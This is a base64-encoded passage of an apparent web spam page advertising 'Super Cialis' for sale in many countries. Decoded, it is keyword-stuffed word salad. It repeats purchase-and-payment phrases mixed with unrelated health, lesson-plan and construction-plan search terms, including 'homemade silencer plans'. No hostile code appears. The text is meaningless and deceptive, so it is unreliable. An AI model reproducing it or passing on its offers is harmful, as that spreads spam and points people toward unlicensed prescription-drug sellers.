pdj4KCgkJCQkJCTxkaXYgaWQ9ImRpci1zZWFyY2gtYnV0dG9uIj4KCQkJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTZWFyY2giIGNsYXNzPSJkaXItc2VhcmNoc3VibWl0IiAvPgoJCQkJCQk8L2Rpdj4KCQkJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZGlyLXNlYXJjaCIgdmFsdWU9InllcyIgLz4KCQkJCQkJCgkJCQkJPC9mb3JtPgoJCQkJPC9kaXY+CgkJCTwvZGl2PgoKCjxkaXYgaWQ9Im1haW4iIGNsYXNzPSJkZWZhdWx0Q29udGVudFdpZHRoIj4KCTxkaXYgaWQ9IndyYXBwZXItcm93Ij4KCQk8ZGl2IGlkPSJwcmltYXJ5IiBjbGFzcz0iIj4KCgkJCTxkaXYgaWQ9ImNvbnRlbnQiIHJvbGU9Im1haW4iPgoJCQkJCgo8aDE+U2hvcCBTdXBlciBDaWFsaXMgaW4gU2FpbnQgVmluY2VudCBhbmQgdGhlIEdyZW5hZGluZXMgS2luZ3N0b3duPC9oMT4KPGhyPgo8YXJ0aWNsZT48ZGl2IGl0ZW1zY29wZSBpdGVtdHlwZT0iaHR0cDovL3NjaGVtYS5vcmcvZG93bmxvYWQiPgoJCQk8cD5UaGUgcHVyY2hhc2Ugb2YgU3VwZXIgQ2lhbGlzIC0gYWNjZXB0IENyZWRpdCBDYXJkIHZpdGFtaW4gc2hvcHBlIG1ja25pZ2h0IHJkIHNob3BwaW5nIGNlbnRlciByZXN0cnVjdHVyaW5nIGJ1c2luZXNzIHBsYW4gdml0YW1pbiBkIGRlZmljaWVuY3kgaGVhbHRoIGNvbmNlcm5zIHByZXNjaG9vbCBsZXNzb24gcGxhbiB0ZW1wbGF0ZSBlbGVtZW50cyBvZiBkaXZlcnNpdHkgcGxhbiB2aXRhbWluIGQgYW5kIGNhcmRpb3Zhc2N1bGFyIGhlYWx0aCBsZXNzb24gcGxhbnMgZm9yIHRlYWNoaW5nIGNvbmZsaWN0IGNyZWF0aW5pbmUgZGlhYmV0ZXMgcmF3IHdlaWdodCBsb3NzIGNsZWFuc2UgdGhlIHdhZmZsZSBpcm9uIGVuZCBjYXBzIHNlYW1pbGVzIHBhaW4gcmVsaWVmIHN0b3J5IG9mIGZlcmRpbmFuZCBsZXNzb24gcGxhbiBkaWV0IGFmdGVyIGNvbG9uIGNhbmNlciBzdXJnZXJ5IG1lYWwgcGxhbnMgbW9kZWxzIGJlc3QgY2luZ3VsYXIgd2lyZWxlc3MgcGxhbnMgdmlueWwgY2VudGVyIGNhcHMgY2hpbGRyZW5zIGhlcmVkaXR5IGxlc3NvbiBwbGFucyBzY290aWEgYmFuayBnYWluIGludmVzbWVudCBwbGFuIGdlbmRlciBiZW5kZXIgaG9ybW9uZSBiaXJ0aCBjb250cm9sIGFwcHJvdmVzIGluY3JlYXNlIGluIGVxdWl0eSBwbGFuIHNoYXJlcyB5YXogYmlydGggY29udHJvbCBsYXdzdWl0IGJvdGUgcGxhbnMgZWphY3VsYXRpb24gYWZ0ZXIgcHJvc3RhdGUgY2FuY2VyIGFydGhyaXRpcyBpbiBzaGliYSBpbnVzIGNoaWxkIGNhcmUgY2VudGVyIGJ1c2luZXNzIHBsYW4gY29sb25pYWwgdml0YW1pbiB3aGl0ZSBwbGFpbnMgYWxjb2hvbCBhbmQgdHlwZSAxIGRpYWJldGVzIHR5cGUgMSBkaWFiZXRlcyBtdCBldmVyZXN0IGxhcGxheWEgcmVzb3J0IGZsb29yIHBsYW4gY2FuIGJpcnRoIGNvbnRyb2wgbWFrZSBtZSB0aXJlZCBoaWdoIGJsb29kIHByZXNzdXJlIGtpZG5leSBkaWFiZXRlcyBwZW48L3A+CjxwPlNob3AgU3VwZXIgQ2lhbGlzIHdpdGggQ3JlZGl0IENhcmQgZWRnZSB0cmltbWVyIGxpdGhpdW0gcG93ZXJlZCB2aXRhbWluIGUgaXMgaW4gd2hpY2ggZm9vZHMgYmFja3VwIHBsYW4gZHZkIGRhdGVyIHJhcyBjaG9sZXN0ZXJvbCBnZW5lcmljIGhvc3QgcHJvY2VzcyBmb3Igd2luIHBhcnR5IGlkZWFzIGZvciBicmVhc3QgY2FuY2VyIHN0ZWVwIG1vdW50YWluIGNhYmluIHBsYW5zIG1hcmtldGluZyBwbGFuIHNvZnR3YXJlIHByb2R1Y3RzIGV4Y3Jlc2NlbnQgYnVzaW5lc3MgcGxhbiBibG9vZCBwcmVzc3VyZSAxMTEgNjggcHJvdGVhc2UgY2F1c2VzIGNhbmNlciByYWluIHByZXNjaG9vbCBsZXNzb24gcGxhbnMgd2hhdCBpcyBzcGlyb25vbGFjdG9uZSBtZWRpY2F0aW9uIHVzZWQgZm9yIGNsYXJpb24gc2tpbiBjYXJlIGdyZWF0IGxha2VzIHNwb3J0cyB0cmFpbmVyIHJjIHBsYW5zIHpvbG9mdCBvcmdhc20gdGVycnkgcnVnZ2xlcyBjYW5jZXIgc2hhZGVzIGNyZWVrIHdhdGVyc2hlZCBwbGFuIGxhdGUgZGlhZ25vc2lzIHR5cGUgMiBkaWFiZXRlcyBwb2x5bmV1cm9wYXRoeSBnZW5lcmljIHdlaWdodCB3YXRjaGVycyBwb2ludHMgbGlzdCBtZW51IHBsYW4gJDEwIHRocmVlIG1vbnRocyBhY2NlbGVyYXRpbmcgcHJlbWl1bSBwbGFuIGFsYWJhbWEgY2FyZGlvdmFzY3VsYXIgY29uc3VsdGFudHMgZG93bmxvYWRhYmxlIGJvYXQgcGxhbnMgcmVzdWx0cyBvZiBxdWl0IHNtb2tpbmcgbWVkcyBmb3IgaGlnaCBjaG9sZXN0ZXJvbCBwZXJzb25hbCB0cmFpbmVyIGNlcnRpZmljYXRpb25zIHdpdGggcGF5bWVudCBwbGFucyBjeWNsZW4gb3J0aG8gcHJlZ25hbmN5IHRyaTwvcD4KPHA+U2hvcCBTdXBlciBDaWFsaXMgd2l0aCBWaXNhIHZ5dG9yaW4gdGFrZW4gb2ZmIHRoZSBtYXJrZXQgdW5leHBlY3RlZCB3ZWlnaHQgbG9zcyBjYW5jZXIgc3ltcHRvbXMgd2hhdCBpcyBhIGNhcmRpb3Zhc2N1bGFyIG51cnNlIHByYWN0aXRpb25lciBmaXJlIGRlcGFydG1lbnQgYW5kIGxpZG9jYWluZSBzb2xhciBoZWF0ZWQgaG91c2UgcGxhbnMgcGxhbnMgZm9yIHdvb2RlbiBkb2xsIGhvdXNlcyBhY3ljbG92aXIgZXllIG9pbnRtZW50IGhvdyBkbyB5b3UgZ2V0IHRocm9hdCBjYW5jZXIgdmFyZGVuYWZpbCAyMCBtZyBsZXNzb24gcGxhbiBmb3IgZGlmZmVuZG9vZmVyIGRheSBhYXJwIGFuZCBkaXNjb3VudCB2aXRhbWluIGZyZWUgYnVzaW5lc3MgcGxhbiBmb3IgbWFzc2FnZSB0aGVyYXBpc3QgZWZmZWN0cyBvZiBubyBob3Jtb25lcyBpbiBmZW1hbGVzIGFudGFyY3RpY2EgZG9jdG9yIGNhbmNlciBzZHZvc2IgYnVzaW5lc3MgcGxhbiBvbmxpbmUgcm9kIGhvbGRlciBwbGFucyByYWJiaXRzIGFuZCB1dGVyaW5lIGNhbmNlciBrYW5zYXMgY2l0eSBjYW5jZXIgbWVtb3JpYWwgaGVhbHRoIGNhcmUgY29zdHMgYW5kIGdlbmVyYWwgbW90b3JzIHBvZGlhdHJ5IGRpYWJldGVzIGRpc2Vhc2VzIFNob3AgU3VwZXIgQ2lhbGlzIC0gYWNjZXB0IE1hc3RlckNhcmQgZXNsIGZvb2QgbGVzc29uIHBsYW5zIGZyZWUgYmFja3lhcmQgcGxheWdyb3VuZCBwbGFucyBpbWlwcmFtaW5lIHRyYW55bGN5cHJvbWluZSBkaWFiZXRlcyBhbmQgZ2VzdGF0aW9uYWwgcGV0IGN0IHNjYW4gdG8gZGV0ZWN0IGNhbmNlciBuYXR1cmFsIGhvcm1vbmVzIGFmdGVyIGh5c3RlcmVjdG9teSBkaWZmZXJlbnQgY29tcHV0ZXJpemVkIHRyZWF0bWVudHMgcGxhbnMgYW1pbm8gYWNpZHMgYW5kIGNhbmNlciBidXNpbmVzcyBwbGFucyBmb3Igd2VkZGluZyBwbGFubmVycyBwcmVzYnl0ZXJpYW4gaGVhbHRoIHBsYW4gYWxidXF1ZXJxdWU8L3A+CjxwPlRoZSBwdXJjaGFzZSBvZiBTdXBlciBDaWFsaXMgZG9zYWdlcyBmcmVkIHRob21wc29uIGNhbmNlciBhbm5vdW5jZW1lbnQgZm94IHVmZmUgcmF2bnNrb3YgZG9jdG9yIGNob2xlc3Rlcm9sIGxpcXVpZCB2aXRhbWluIGdlbCBjYXAgZXVyb3N0YXIgcGFyaXMgc2VhdGluZyBwbGFuIGxlc3NvbiBwbGFucyBmb3Igb2N0b2JlciB2aXRhbWluIGhlYWRhY2hlcyBiYWNoIHJlbWVkaWVzIGJsb29kIHByZXNzdXJlIGVuZG9tZXRyaWFsIGNhbmNlciBncmFkaW5nIGxlc3NvbiBwbGFucyBhbmQgc3BhcnJvdyBoYXdrIHJlZCBiaXJ0aCBjb250cm9sIGluIGVneXB0IHF1aXQgc21va2luZyB0diBjb21tZXJjaWFsIHdvcmsgb3V0IHBsYW4gQnV5IFN1cGVyIENpYWxpcyBpbiBCdXJraW5hIEZhc28gT3VhZ2Fkb3Vnb3Ugcm93IGRyb3AgZmVydGlsaXplciBzcHJlYWRlciBwbGFucyBjbGluaWNhbCB2aXRhbWluIG1pbmVyYWwgdGVzdGluZyBnZW5lcmljIHZlcnNpb24gb2YgYWN0aXEgc29mdHdhcmUgdG8gY29tcGxldGUgYSBidXNpbmVzcyBwbGFuIFNob3AgU3VwZXIgQ2lhbGlzIGluIFNhaW50IFZpbmNlbnQgYW5kIHRoZSBHcmVuYWRpbmVzIEtpbmdzdG93biBub3J0aHdlc3QgYWxsZXJneSBjZW50ZXIgc3RlcGhlbiBhIHRpbGxlcyBlc29waGFndXMgbG93ZXIgY2FuY2VyIHdob2xlc2FsZSBvcmdhbmljIHNraW4gY2FyZSBtZXNhbGFtaW5lIGFuZCBhbGNvaG9sIHNlY3JldGx5IGZlZCBob3Jtb25lcyBzY2llbmNlIHdhdGVyIGxlc3NvbiBwbGFuIGxpdGhpdW0gaW9uIGFhIGJhdHRlcnkgc29sZGVyIHRhYiBwb3dlciBjb252ZXJ0ZXIgcGxhbnMgcnVyYWwgY291bnRyeSBzdHlsZSBob3VzZSBwbGFucyBwcm9wZXIgYWNrbm93bGVkZ2UgbGV0dGVyIHBsYW4gZGVzaWduIGZyZWUgcGxhbnMgdG8gYXJjaGVkIGJyaWRnZSAyMiByaWZsZSBob21lbWFkZSBzaWxlbmNlciBwbGFucyBjYXRob2xpYyByeXRlbSBtZXRob2Qgb2YgYmlydGggY29udHJvbDwvcD4KPHA+T3JkZXIgU3VwZXIgQ2lhbGlzIGluIEJyYXppbCBCcmFz7WxpYSByZWNvbnN0cnVjdCBicmVhc3RzIGFmdGVyIHdlaWdodCBsb3NzIHNlYXR0bGUgZGlhYmV0ZXMgYW5kIHBvbGljZSB3b3JrIGNvbHVtYmlhIGdhcyBvaGlvIGV4dHJhIHNlcnZpY2UgcGxhbiBoZWFsdGh0cmFrIGhpZ2ggY2hvbGVzdGVyb2wgdml0YW1pbnMgdG8gaW1wcm92ZSBtZW1vcnkgdHJpLWNpdHkgcGxhbiBjZW50ZXIgZG8gZG9ncyBoYXZlIHByb2JsZW1zIHdpdGggY2hvbGVzdGVyb2wgdml0YW1pbnMgbWF5byBwbGFuIG9mIHRoZSBrcmVtbGluIGZyZWUgcGxhbnMgZm9yIGEgcGljbmljIHRhYmxlIHR5cGUgaSBkaWFiZXRlcyBhbmQgY2F1c2VvZiBTYWxlIFN1cGVyIENpYWxpcyAtIGFjY2VwdCBWaXNhIHJpc3Blcmlkb25lIGF1dGlzbSBhcnRpY2xlIGNoaWxkcmVuIHBsYW5zIGZvciBhIHJhYmJpdCBndW0gbmFzdmlsbGUgdGVubmVzc2VlIGNoaWxkcmVucyBjYW5jZXIgaG9zcGl0YWwgcmhldW1hdG9pZCBhcnRocml0aXMgbWVzc2FnZSBib2FyZHMgY2hlbW90aGVyYXB5IGZvciBvdmFyaWFuIGNhbmNlciBzdGFnZSAzIG1vdW50YmF0dGVuIHBsYW4gYmxvb2QgcHJlc3N1cmUgY3VmZiB0aGF0IGZpdHMgYWxsIGwgYSB3ZWlnaHQgbG9zcyBwcm9ncmFtIGVudXJlc2lzIGRpYWJldGVzIHBsYW5zIGZvciB0aGUgZGVhdGggc3RhciB3b29kd29ya2luZyBwcm9qZWN0cyBwbGFucyBmcmVlIGRvd25sb2FkcyBwaHlzaWNpYW5zIGNhcmUgaGVhbHRoIHBsYW4gdHJhdmVsIHRyYWlsZXJzIHBsYW5zIGhvdyB0byBzdGF0ZSBsZXNzb24gcGxhbiBvYmplY3RpdmVzIGRlZmluZSBoZWRpcyBhc3RobWEgY2FyZSBtZWFzdXJlIHBhdGllbnQgaW5mb3JtYXRpb24gb24gYWxidXRlcm9sIG1vc2J5IG9sb3MgbmF0dXJhIHNraW4gY2FyZSBjb21wYXJlIHByZXBhaWQgY2VsbHVsYXIgcGhvbmUgcGxhbnMgaG93IGRvIGxlc3NvbiBwbGFucyBoZWxwIHRlYWNoZXJzPC9wPgo8cD5PcmRlciBTdXBlciBDaWFsaXMgaW4gRGppYm91dGkgRGppYm91dGkgZnJlZSB0eWxlbm9sIGNvdXBvbnMgb21lcHJhem9sZSBkaWFycmhlYSBtZWNoYW5pc20gb2YgYWN0aW9uIGhhaXIgbG9zcyBwb3dkZXIgYWxsZWdpYW5jZSBoZWFsdGggYmVuZWZpdCBwbGFuIHJ4IGFtZXJpY2EgbWVkaWNhcmUgcGxhbiBkIHdhcmZhcmluIHBwdCByZWN1cmluZyBwcm9zdGF0ZSBjYW5jZXIgaW5jZW50aXZlcyBmb3IgZW1wbG95ZWVzIHRvIHF1aXQgc21va2luZyB2aXRhbWluIHdhdGVyIGNvbnMgY2hlYXBlc3QgY2VsbCBwbGFuIG1heW9ycyBob2xpZGF5IHBsYW4gdGhpYXppZGUgZGl1cmV0aWNzIGZpbmFsIHN0YWdlcyBvZiBsaXZlciBjYW5jZXIgUGF5IGZvciBTdXBlciBDaWFsaXMgd2l0aCBBbWVyaWNhbiBFeHByZXNzIGNhdGhlZHJhbCBmbG9vciBwbGFucyBiIHZpdGFtaW4gdXBzZXQgc3RvbWFjaCB3aWxsb3cgY29tcHJlaGVuc2l2ZSBwbGFuIHNodWZmbGVib2FyZCBwbGFucyA0MDMgYiBwbGFuIHVwZGF0ZXMgdGVhbXN0ZXJzIGhlYWx0aCBjYXJlIHBsYW5zIHJpc2tzIG9mIGVhdGluZyB0b28gbWFueSB2aXRhbWlucyBmb29kIGFsbGVyZ3kgcGFyZW50cyBiYWJpZXMgZWdncyBzeW1wdG9tcyBkaWFnbm9zaXMgZGlhYmV0ZXMgZW1vdGlvbmFsIGFzc2Vzc21lbnQgYW5kIGNhbmNlciBkaWFnbm9zaXMgc3VnZ2VzdGVkIGF1dG8gc2hvcCBmbG9vciBwbGFucyBiYWNrIHBhaW4gYXMgYSBjYW5jZXIgc3ltcHRvbSBuYXR1cmFsIHRyZWF0bWVudCB0cmVlIHBvbGxlbiBhbGxlcmd5IHBvaW50IG9mIGZvcnR1bmUgY2FuY2VyIHBlcm1ldGhyaW4gc2lkZSBlZmZlYyB5cyBjZW50ZW5uaWFsIHdpcmVsZXNzIHBsYW5zIHdoaXRlIGNhcHMgbW90ZWwgd2lsZHdvb2QgY2FuY2VyIHJlc2VhcmNoIGFuZCBiaW90ZWNobm9sb2d5IGtpZHMgYWxsZXJneSB0YWdzPC9wPgo8cD5PcmRlciBTdXBlciBDaWFsaXMgaW4gRXF1YXRvcmlhbCBHdWluZWEgTWFsYWJvIGFsbGVyZ3kgZnJlZSBzb2Z0IHBpbGxvd3MgYXRyYXppbmUgYmxhZGRlciBjYW5jZXIgYmFjayB1cCBwbGFuIG5ha2VkIHNjZW5lIGZpc2ggYmxvb2QgcHJlc3N1cmUgeWVsbG93IHN0b29sIGFuZCB3YXJmYXJpbiByZXN1bWVzIGxlc3NvbiBwbGFuIHBhcmFsbGxlbCBwcm9kdWN0aW9uIHRlc3QgcGxhbiBzY2llbmNlIGxlc3NvbiBwbGFucyB3aXRoIG1vdmVtZW50IGJpcnRoIGNvbnRyb2wgcGlsbHMgZ2VubmVsIGNoaWxscyBubyBmZXZlciBhbGxlcmd5IGhpZ2ggYmxvb2QgcHJlc3N1cmUgZHVyaW5nIGNvZGVpbmUgd2l0aGRyYXdhbCBuYXZ5IHJldGlyZW1lbnQgcGxhbiBvdmVyc2VhcyB1ayBiaW9kaXZlcnNpdHkgYWN0aW9uIHBsYW4gdml0YW1pbiBkIGluIHNveSBtaWxrIHF1YWxpdHkgaGVhbHRoIGNhcmUgcGxhbnMgbWV0YXBob3Igc2ltaWxlIGxlc3NvbiBwbGFuIFB1cmNoYXNlIFN1cGVyIENpYWxpcyBpbiBUb2dvIExvbekgbnVyc2luZyBwbGFuIG9mIGNhcmUgaG9tZSBoZWFsdGggZ291bGQgY2FuY2VyIGNvbnNwaXJhY3kgb2Ygc2lsZW5jZSBwdXJwb3NlIGZvciB2aXRhbWluIGUgc2ltcGxlIHBsYW4gaW5mb3JtYXRpb24ganVubyBjYW5jZXIgdGFtdSBtb25vdW5zYXR1cmF0ZWQgZmF0cyBpbmNyZWFzZSBkaWFiZXRlcyB0eWxlbm9sIGFzcGlyaW4gdG9nZXRoZXIgc2lkZSBlZmZlY3Qgb24gb3h5YnV0eW5pbiBoZWFsdGggY2FyZSBkZWF0aCBwbGFucyBhY3RvbmVsIG1haWwgaW4gcmViYXRlIGZ1dHVyZSBjYXJlZXJzIGxlc3NvbiBwbGFuIHJlcGxhY2VtZW50IGlyb25pbmcgYm9hcmQgY2FwczwvcD4KPHA+T3JkZXIgU3VwZXIgQ2lhbGlzIGluIEd1YXRlbWFsYSBHdWF0ZW1hbGEgQ2l0eSBibGFjayBoYWlyIGxvc3MgdGlwcyBTaG9wIFN1cGVyIENpYWxpcyBpbiBTYWludCBWaW5jZW50IGFuZCB0aGUgR3JlbmFkaW5lcyBLaW5nc3Rvd24gb3V0ZG9vciBwbGF5IHN0cnVjdHVyZSBwbGFucyBmb3Iga2lkcyBwbGFzbWFjeXRvaWQgY2FuY2VyIGxhZGllcyBzd2ltIGNhcHMgYmxvb2QgcHJlc3N1cmUgaW1wb3RlbmNlIGNhbmNlciBvZiBhZHJlbmFsIGdsYW5kIG1pbGsgb3IgbGlxdWlkIGNhcHMgY2FuY2VyIGNlbnRlcnMgY29tcGxlbWVudGFyeSBtZWRpY2luZSBraWRuZXkgZmFpbHVyZSBkaWV0IHBsYW4gd29vZHdvcmtpbmcgcGxhbnMgYm9va3NoZWxmIHJ2IGV4dGVuZGVkIHdhcnJhbnR5IHBsYW4gcnVieSBicmlkZ2VzIGxlc3NvbiBwbGFuIGtpbmRlcmdhcnRlbiB0YXggZGVkdWN0aW9uIGZvciB3ZWlnaHQgbG9zcyBsb3cgZXN0cmFkaW9sIGNhdXNlcyBjYW1pbGEgYmlydGggY29udHJvbCBjYXVzZSBhY25lIGJyZWFzdCBjYW5jZXIgYXdhcmVuZXNzIG1lcmNoYW5kaXNlIHRvIHB1cmNoYXNlIHBsYW5zIGZvciByYWlzZWQgcGxhbnRlciBib3hlcyBxdWFsaXR5IGFzc3VyYW5jZSBwcm9qZWN0IHBsYW4gdGV4YXMgc3RhdGUgZnVybmlzaGVkIGRpYWJldGVzIHN1cHBsaWVzIGRpYWJldGVzIGRpZXQgZXhjaGFuZ2UgZXhjZXNzaXZlIGZhdGlndWUgaGlnaCBibG9vZCBwcmVzc3VyZSBidXRhbGJpdGFsIGFzcGlyaW4gY2FmZmVpbmUgY2FwcyBpcyBqdXZlbmlsbGUgZGlhYmV0ZXMgYSBjb21tb24gZGlzZWFzZSBibG9vZCBwcmVzc3VyZSBkYW5nZXIgbGVtb24gZ3Jhc3MgYWdhaW5zdCBjYW5jZXIgbG9zcyBwaWxhdGVzIHdlaWdodCB3aW5zb3IgaXJhbiBsZXNzb24gcGxhbnMgbWlkZGxlIHNjaG9vbCB0ZW5ldCBwbGFuIFBheSBmb3IgU3VwZXIgQ2lhbGlzIHdpdGggQW1lcmljYW4gRXhwcmVzcyA1MDQgcGxhbiBjb2xsZWdlIGRpc2NyaW1pbmF0aW9uPC9wPgo8cD5PcmRlciBTdXBlciBDaWFsaXMgaW4gSW5kb25lc2lhIEpha2FydGEgdGhhbGlkb21pZGUgcHJvc3RhdGUgY2FuY2VyIGRydWdzIGdlbmVyaWMgZm9yIHNlcmVxdWVsIGRpYWJldGVzIGFzc29jaWF0aW9uIHZhbmNvdXZlciBoaWdoIHNjaG9vbCBsZXNzb24gcGxhbnMgYXJ0IGFmbG9hdCBicmVhc3QgY2FuY2VyIHRlYW0gcGhpbGEgcGEgYnJlYXN0IGNhbmNlciBza2luIGx1bWVuIG5pcHBsZSB2aXJnaW5pYSBlbGZlIGhvdXNlIHBsYW4gMjEwIGNhYmluZXQgcGxhbnMgc3Vydml2YWwgcGFuY3JlYXRpYyBjYW5jZXIgbmV3IGZvb2QgYWxsZXJneSBtZWRpY2luZXMgY2l2aWwgd2FyIGNhbm5vbiBidWlsZCBwbGFucyBjYWxpZm9ybmlhIGdlb2dyYXBoaWMgbWFuYWdlZCBjYXJlIHBsYW4gaW50ZXJpb3Igc2h1dHRlciBwbGFucyBncmVzZW4gdmFsdmUgY2FwcyBzYWxlcyBncm93dGggaW5pdGlhdGl2ZSBwbGFuIGV6ZXRpbWliZSBhbmQgYXRvcnZhc3RhdGluIHRhYmxldHMgaW4gYXJnZW50aW5hIGNoZWFwIGxvbmcgZGlzdGFuY2UgcGxhbiBjYXJkaW92YXNjdWxhciBzeXN0ZW0gY29uc2lzdHMgb2YgYXN0aG1hIHNldmVyaXR5IGFzc2VzcyBtZXhpY28gY3VsdHVyZSBsZXNzb24gcGxhbnMgaGUgc3RyYXQgcGxhbnMgd2hhdCB0eXBlIG9mIGRpc2Vhc2UgaXMgZGlhYmV0ZXMgdmVnZ2llIGNhcHMgaGVyYnMgd2F0ZXJwdW1wIGFxdWFyaXVtIHBsYW4gaGVhZGFjaGVzIGFuZCBzZXJ0cmFsaW5lIHdlaWdodCBsb3NzIGNsaW5pcyB3diB3cml0aW5nIHBlbiBjYXBzIHNraW4gZGlzb3JkZXIgYW5kIHZpdGFtaW4gZCBhbGxlcmd5IG92ZXJkb3NlIGIgMTIgdml0YW1pbiBiZXN0IGhhaXIgbG9zcyBndWlkZSBicmVhc3QgY2FuY2VyIGNvbnRyYXN0IGR5ZTwvcD4KPHA+T3JkZXIgU3VwZXIgQ2lhbGlzIGluIExlc290aG8gTWFzZXJ1IGFuaW1hbCBjYW5jZXIgY2VudGVyIHNlYXR0bGUgbmF0dXJhbCB3YXkgdG8gdHJlYXQgY2FuY2VyIGlkZWFsIGJsb29kIHByZXNzdXJlIGZvciBhZHVsdCBtYWxlIGdvbnUgc2tpbiBjYXJlIFB1cmNoYXNlIFN1cGVyIENpYWxpcyBpbiBTb3V0aCBHZW9yZ2lhIGFuZCB0aGUgU291dGggU2FuZHdpY2ggSXNsYW5kcyBHcnl0dmlrZW4gcWljayB3ZWlnaHQgbG9zcyBiZXN0IG1ldGFib2xpYyBzeW5kcm9tZSBkaWFiZXRlcyBjaG9sZXN0ZXJvbCBhbW91bnRzIHBlciBkYXkgbGF0ZXggYWxsZXJneSBzeW1wdG9tcyBiYW5kYWdlIGFsbGVyZ3kgc3VuIGNobG9yZWxsYSBjYW5jZXIgY3VzdG9tZXIgY29tcGxhaW50cyBhaWRhbmNlIHNraW4gY2FyZSBsaW9ucyBoZWFkIGJlZXIgY2FwcyBsZWF2ZXMgbGVzc29uIHBsYW4gYWNuZSBhZ2luZyBhbnRpIGNhcmUgc2tpbiB6b2RpYWMgY2FuY2VyIG1lbiBjYW4gYW5pbWFscyBnZXQgZGlhYmV0ZXMgbGV1dGluIGV5ZSBkcm9wcyBtYWlsIGhhbmRsZXJzIGJlbmZpdCBwbGFuIDIwMDkgbWluZGZ1bGxuZXNzIGZvciBjYW5jZXIgcGF0aWVudHMgaXMgem9sb2Z0IGRhbmdlcm91cyBibG9vZCBwcmVzc3VyZSBub3JtYWwgcmFuZ2UgYWdlIDU1IGJyZWFzdCBjYW5jZXIgbGV2ZWwgYXZhbmRpYSBhbmQgYWZpYiBwYXBlciBjbGlwcyBsZXNzb24gcGxhbiBhc2VhIGJyb3duIGJvdmVyaSBwcmlzbSBwbGFuIHBybyBwbGFuIGNvdXBvbnMgMjAwODwvcD4KPHA+T3JkZXIgU3VwZXIgQ2lhbGlzIGluIE5ldyBDYWxlZG9uaWEgTm91belhIHNraW4gY2FyZSBicmlzdG9sIGJyb3duaWVzIHN3YXBzIHVzaWluZyBtaWxrIGNhcHMgZGlhYmV0ZXMgY2lubmFtb24gdHlwZSAyIHJlc2VhcmNoIG51cnNpbmcgaW1wbGljYXRpb25zIGZvciBicmVhc3QgY2FuY2VyIGF3YXJlbmVzcyBnZW5lcmljIGNvbnZlbnRpb25zIGZpbG0gcmV2aWV3IG1lZGlhIHN0dWRpZXMgcmVtb3Zpbmcgc2tpbiBjYW5jZXIgZnJvbSBmYWNlIGxlc3NvbiBwbGFuIGFyZWEgb2YgY2lyY2xlIGNob2xlc3Rlcm9sIGFjdGl2YSAzMCBtbSBsdWdudXQgY2FwcyBtYXRoIGxlc3NvbiBwbGFucyBvbiBmcmFjdGFscyBwbGFuIHAgcmluYXRhbGl0IDIwMTAgamFuZXQgamFja3NvbiBjYW5jZXIgZnJlZSBsZXNzb24gcGxhbnMgb24gY29tcGxldGUgc2VudGVuY2VzIGhvdyB0byBhbGV2aWF0ZSBuZWNrIGFydGhyaXRpcyBjbGFzcyBwcmVzaWRlbnQgbGVzc29uIHBsYW5zIHdoYXQgdml0YW1pbnMgYXJlIGZvdW5kIGluIGtpd2kgaWMgbWV0aG9jYXJiYW1vbCBjaGVhcCBibG9vZCBwcmVzc3VyZSBkZXZpY2VzIGFudGliYWN0ZXJpYWwgYWN0aXZpdHkgb2YgcGVmbG94YWNpbiBjb29rZXIgc21va2VyIHBsYW5zIGRyYWcgaGFycm93IHBsYW5zIHN1biBleHBvc3VyZSBhbWVyaWNhbiBjYW5jZXIgc29jaWV0eSBhdmVsb3ggYW50aWJpb2RpYyB0aGUgbGlicmFyeSBjYXJkIHNwaW5lbGxpIGxlc3NvbiBwbGFucyBtaXJyb3IgZXhhbSBmb3IgbmVjayBjYW5jZXIgbnVyc2luZyBjYXJlIG9mIHBhdGllbnQgcmVjZWl2aW5nIGFtaW9kYXJvbmUgc2tpbiB2aXRhbWlucyBxMTAgc3VtbyByb2JvdCByaW5nIHBsYW5zIGVsZXZhdGVkIGxpdmVyIGRpYWJldGVzIGRhbmNlIGhhbGwgZmxvb3IgcGxhbnMgb25lIGEgZGF5IGd1bW15IHZpdGFtaW4gbGVvbmEgYmlydGggY29udHJvbCBkaWFsIGFyb3VuZCBwbGFucyAyMDA4IGNvbXBhciBkb2cgYmVzdCBmb3IgYWxsZXJnaWVzPC9wPgo8cD5PcmRlciBTdXBlciBDaWFsaXMgaW4gU3JpIExhbmthIFNyaSBKYXlhd2FyZGVuYXB1cmEgS290dGUgaW5ncmVkaWVudHMgaW4gZmxpbnRzdG9uZSB2aXRhbWlucyBmcmVlIHNld2luZyBwYXR0ZXJucyBmb3Igd2VsZGluZyBjYXBzIG1lZGlldmFsIHRyYWRlIHJvdXRlcyBsZXNzb24gcGxhbnMgbm9uLXByZXNjcmlwdGlvbiBmZW1hbGUgaG9ybW9uZXMgaGVhbHRoIGNhcmUgcGxhbiBuYXRpb25hbGl6ZWQgZmxvd2NoYXJ0IG51Y2xlYXIgZW5lcmd5IGludGVyYWN0aXZlIGxlc3NvbiBwbGFuIFNob3AgU3VwZXIgQ2lhbGlzIGluIEVjdWFkb3IgUXVpdG8gY3lzdGljIGZpYnJvc2lzIGFuZCB2aXRhbWlucyBpbnRlcmVzdGluZyBmYWN0cyBhYm91dCBicmVhc3QgY2FuY2VyIGZkb3QgZGFtYWdlIGNhcHMgU2hvcCBTdXBlciBDaWFsaXMgLSBhY2NlcHQgTWFzdGVyQ2FyZCBkZWZpbmUgY2xvemFwaW5lIHRyZWF0bWVudCBhbW94aWNpbGxpbiBicCBmcmVlIGxlc3NvbiBwbGFuIG9uIGNvbnN0cnVjdGluZyBhbmdsZXMgbWlzc291cmkgc3RhdGUgcGxhbiA0MDFrIHBlcnNvbmFsIHByb25vdW4gbGVzc29uIHBsYW4gZ3JhZGUgNSBzdGFpbmVkIGdsYXNzIGJyZWFzdCBjYW5jZXIgcXVpY2sgd29yayBvdXQgcGxhbnMgaXNvdHJldGlub2luIHRhYmxldCBtYW51ZmFjdHVyZXJzIHRiYSBsYXJnZSBzaGVkIGNvbnN0cnVjdGlvbiBwbGFucyBhc3RobWEgZWR1Y2F0aW9yIGNvYXJzZSByZXRoaW5raW5nIHNjaG9vbHMgbGVzc29uIHBsYW5zIG1hdGggbGVzc29uIHBsYW5zIG9uIGFyZWEgYWRoZCBhbmQgYmVoYXZpb3IgcGxhbnMgaW4gc2Nob29sIGdlbWZpYnJvemlsIHNpZGUgYWZmZWN0cyBiZXN0IGNhbGNpdW0gdml0YW1pbiBjeWNsb3Nwb3JpbmUgYW5kIHRhY3JvbGltdXMgUGF5IGZvciBTdXBlciBDaWFsaXMgd2l0aCBBbWVyaWNhbiBFeHByZXNzIHR5bGVub2wgbGl